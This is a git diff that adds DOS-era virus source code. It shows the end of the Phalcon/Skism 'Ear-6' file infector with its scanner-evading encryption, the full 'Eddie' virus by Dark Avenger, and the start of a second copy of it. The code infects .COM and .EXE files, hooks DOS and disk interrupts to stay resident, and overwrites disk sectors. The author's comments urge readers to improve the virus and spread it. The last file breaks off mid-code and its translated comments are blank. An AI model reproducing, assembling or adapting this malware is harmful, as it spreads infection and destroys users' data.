mov ah, 1ah ; Restaura el DTA original + mov dx, 80h +quite: + cmp sp, id - 4 ; Es EXE o COM? + jz vuelvaEXE +vuelvaCOM: + int 21h ; Restaura el DTA y vuelva + retn ; a la ficha original de COM + +vuelvaEXE: + pop es + pop ds ; ds -> PSP + + int 21h + + mov ax, es + add ax, 10h ; Ajusta para el PSP + add word ptr cs:[bp+EXE_Donde_JMP+2], ax + cli + add ax, word ptr cs:[bp+PilaOriginal+2] + mov ss, ax + mov sp, word ptr cs:[bp+PilaOriginal] + sti + db 0eah ; JMP FAR PTR SEG:OFF +EXE_Donde_JMP dd 0 +PilaOriginal dd 0 + +EXE_Donde_JMP2 dd 0 +PilaOriginal2 dd 0 + +infectar_mascara: + mov ah, 4eh ; Busca la ficha primera + mov cx, 7 ; Cada atributo +brb_brb: + int 21h + jc hasta_la_vista_bebe ; No la busca + + xor al, al + call abrir ; Abre la ficha + + mov ah, 3fh + mov cx, 1ah + lea dx, [bp+buffer] + int 21h + + mov ah, 3eh ; Cierra la ficha + int 21h + + lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha + lea di,[bp+f_atrib] ; Por ejemplo, la fecha de + mov cx, 9 ; creacin + rep movsb + + cmp word ptr [bp+buffer], 'ZM' ; Es EXE o COM? + jz buscaEXE +buscaCOM: + mov ax, word ptr [bp+f_long] ; Cuan grande es la ficha? + sub ax, longitud_del_virus + 3 ; Adjusta para el JMP + cmp ax, word ptr [bp+buffer+1] ; Ya es infectada? + jnz infecta_mi_burro ; "infect my ass" + jmp short BuscaMas +buscaEXE: + cmp word ptr [bp+buffer+10h], id + jnz infecta_mi_burro +BuscaMas: + mov ah, 4fh ; Busca otra ficha... + jmp short brb_brb +hasta_la_vista_bebe: ; Le gusta Arnold? + ret + +infecta_mi_burro: + ; AX = longitud de la ficha infectada + lea si, [bp+buffer] + + cmp word ptr [si], 'ZM' + jz InfectaEXE +InfectaCOM: + push ax + + mov cx, word ptr [bp+tempo] + mov word ptr [bp+remendar1+1], cx + + lea di, [bp+Primer3] + movsb + push si + movsw + + mov byte ptr [bp+buffer], 0e9h + pop di + add ax, longitud_del_virus + stosw + + mov cx, 3 + jmp short TerminaInfeccion +InfectaEXE: + les ax, [si+14h] ; Salva el original empieza + mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada + mov word ptr [bp+EXE_Donde_JMP2+2], es + + les ax, [si+0Eh] ; Salva la original locacin + mov word ptr [bp+PilaOriginal2], es ; de la pila + mov word ptr [bp+PilaOriginal2+2], ax + + mov ax, word ptr [si + 8] + mov cl, 4 + shl ax, cl + xchg ax, bx + + les ax, [bp+offset nuevoDTA+26] + mov dx, es + push ax + push dx + + sub ax, bx + sbb dx, 0 + + mov cx, 10h + div cx + + mov word ptr [si+14h], dx ; Nuevo empieza CS:IP + mov word ptr [si+16h], ax + + mov cl, 4 + shr dx, cl + add ax, dx + mov word ptr [si+0Eh], ax ; y SS:SP + mov word ptr [si+10h], id + + pop dx ; Restaura el magnitud de + pop ax ; la ficha + + add ax, longitud_del_virus ; Aada el magnitud del virus + adc dx, 0 + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 + + mov word ptr [si+4], dx ; Nuevo magnitud de la ficha + mov word ptr [si+2], ax + + push cs + pop es + + mov ax, word ptr [si+14h] + sub ax, longitud_del_virus + offset Empezarvir + push ax + + mov cx, 1ah +TerminaInfeccion: + mov al, 2 + call abrir + + mov ah, 40h + lea dx, [bp+buffer] + int 21h + + mov ax, 4202h + xor cx, cx + cwd ; xor dx,dx + int 21h + + mov ah, 2ch ; Nmeros azados en CX y DX + int 21h + mov word ptr [bp+remendar3+2], cx ; Es el nuevo nmero de la + ; cifra + and cx, 31 ; Pone un nmero azado para el + add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por + ; eso, los scanners necesitan + mov word ptr [bp+remendar2+1], cx ; usar "wildcards" + lea di, [bp+tempstore] + mov al, 53h ; push bx + stosb ; (no destruir el mango de la + ; ficha) + lea si, [bp+shwing] ; Copia las instrucciones + push si ; para formar la cifra + mov cx, longitud_de_la_cifra + push cx + rep movsb + + mov al, 5bh ; pop bx + stosb ; (recuerda mango de la ficha) + + lea si, [bp+escribir] ; Copia las instrucciones + mov cx, longitud_del_escribir ; para aada el virus a la + rep movsb ; ficha + + mov al, 53h ; push bx + stosb + + pop cx ; Copia las instrucciones + pop si ; para invalidar la cifra + rep movsb + mov ax, 0c35bh ; pop bx, retn + stosw + + pop ax + + ; Codo del comienzo de la cifra + add ax, offset EmpezarCifra + longitud_del_virus + mov word ptr [bp+remendar1+1], ax + + call antes_del_tempstore + + mov ax, 5701h ; BX = mango de la ficha + mov dx, word ptr [bp+f_fecha] + mov cx, word ptr [bp+f_hora] + int 21h ; Restaura fecha y hora + + mov ah, 3eh + int 21h + + xor ch, ch + mov cl, byte ptr [bp+f_atrib] + mov ax, 4301h + lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA + int 21h + + inc byte ptr [bp+numinf] + + jmp BuscaMas + +Primer3 db 0CDh, 20h, 0 +puntos db '..',0 +mascara1 db '*.EXE',0 +mascara2 db '*.COM',0 + +abrir: mov ah, 3dh ; Abrir un ficha + lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en + int 21h ; el DTA + xchg ax, bx + ret + +indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4 + dw offset oreja5, offset oreja6, offset oreja4, offset oreja1 +oreja1 db '1','Auditory Canal$' +oreja2 db '1','Lobe$' +oreja3 db '2','Anvil$' +oreja4 db '2','Eustachian Tube$' +oreja5 db '3','Auditory Nerve$' +oreja6 db '3','Cochlea$' + +mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $' +secciones db ' located?',13,10 + db ' 1. External Ear',13,10 + db ' 2. Middle Ear',13,10 + db ' 3. Inner Ear',13,10,'( )',8,8,'$' + +; No es bueno. +suspendido db 13,10,'You obviously know nothing about ears.' + db 13,10,'Try again after some study.',13,10,'$' + +; Espero que s! +aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10 + db '$' + +escribir: + mov ah, 40h + mov cx, TerminaVir - EmpezarVir + lea dx, [bp+EmpezarVir] + int 21h +termina_escribir: + +backslash db '\' + +TerminaVir = $ + +; Los que sigue son en el montn... +longitud_de_la_cifra = offset EmpezarCifra - offset shwing + +diroriginal db 64 dup (?) +tempo dw ? +nuevoDTA db 43 dup (?) +numinf db ? +antes_del_tempstore: +; tempstore es el buffer para el parte del programa que aada el virus al fin +; de otro programa +tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?) + ; aada cinco para los pop, + ; los push, y el retn +buffer db 1ah dup (?) +f_atrib db ? ; atributo de la ficha +f_hora dw ? ; hora de creacin +f_fecha dw ? ; fecha de creacin +f_long dd ? ; magnitud de la ficha + + end Empezar + diff --git a/e/EDDIE-B.ASM b/e/EDDIE-B.ASM new file mode 100755 index 0000000..04189cb --- /dev/null +++ b/e/EDDIE-B.ASM @@ -0,0 +1,986 @@ +;************************ +;* * +;* E D D I E * +;* * +;* by Dark Avenger * +;* * +;* 3-JAN-1989 * +;* * +;* version 1.31x * +;* * +;************************ + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; The original source of one of the first Bulgarian viruses is in front of +; you. As you may notice, it's full of rubbish and bugs, but nevertheless +; the virus has spread surprisingly quickly throughout the country and made a +; quick round the globe. (It's well-known in Eastern and Western Europe, as +; well as in USA.) Due to the anniversary of its creation, the source is +; distributed freely. You have the rights to distribute the source which can +; be charged or free of charge, with the only condition not to modify it. +; The one who intentionally distributes this source modified in any way will +; be punished! Still, the author will be glad if any of you improves it and +; spreads the resulting executive file (i.e., the virus itself). Pay +; attention to the fact that after you assemble the source, the resulting +; .COM file cannot be run. For that purpose you have to create a three byte +; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the +; two files. Don't try to place a JMP at the beginning of the source. + +; DISCLAIMER: The author does not take any responsability for any damage, +; either direct or implied, caused by the usage or not of this source or of +; the resulting code after assembly. No warranty is made about the product +; functionability or quality. + +; I cannot resist to express my special gratitude to my "populizer" Dipl. +; eng. Vesselin Bontchev, who makes me famous and who, wishing it or +; not, helps very much in the spreading of my viruses, in spite of the fact +; that he tries to do just the opposite (writing programs in C has never +; led to any good). +; Greetings to all virus writers! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points to the segment, + cmp ax,0f000h ;where the original INT 13h vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check for program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is complete nonsense. Try to enter a drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here and an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + +; The writing through this interrupt is not the smartest thing, because it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has not +; intercepted them (this is a doubtful advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and 26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command inter- + jne dont_touch ;preter does not use this function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack + push es ;and changes them with what is needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurd and meaningless and it is also another source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into memory +top_save equ save_int_21+4 ;Beginning of the buffer, that contains + ; - The first 24 bytes read from file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/e/EDDIE.ASM b/e/EDDIE.ASM new file mode 100755 index 0000000..3b40f9b --- /dev/null +++ b/e/EDDIE.ASM @@ -0,0 +1,977 @@ +;************************ +;* * +;* E D D I E * +;* * +;* by Dark Avenger * +;* * +;* 3-JAN-1989 * +;* * +;* version 1.31x * +;* * +;************************ + + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; . +; , , +; , +; ( , +; ). 1 +; . +; , +; . +; , ! +; , +; (.. ). +; , .COM +; . 3 , +; 0e9h, 68h, 0 . +; JMP . + + +; : +; , +; . +; . + +; +; . , +; , , +; , ( +; C ). +; ! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; .EXE : +; DS=ES=PSP, SS:SP CS:IP. + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; .COM : +; 3- , SP IP. + +exit_com: + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ; + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; . + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ; .COM + add sp,offset top_file+100h ;, + sti ; + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; INT 13h ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ; INT 40h INT 13h + cmp ax,0f000h ; + jne nofdisk + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h , + cmp ax,0f000h ; INT 13h + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ; : + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ; : + jne nxt ; TEST DL,80h + lodsw ; JNZ + cmp ax,7580h + jne nxt0 +intchk: + inc si ; : + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; +; ( ) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ; +mem_ok: + pop si + push 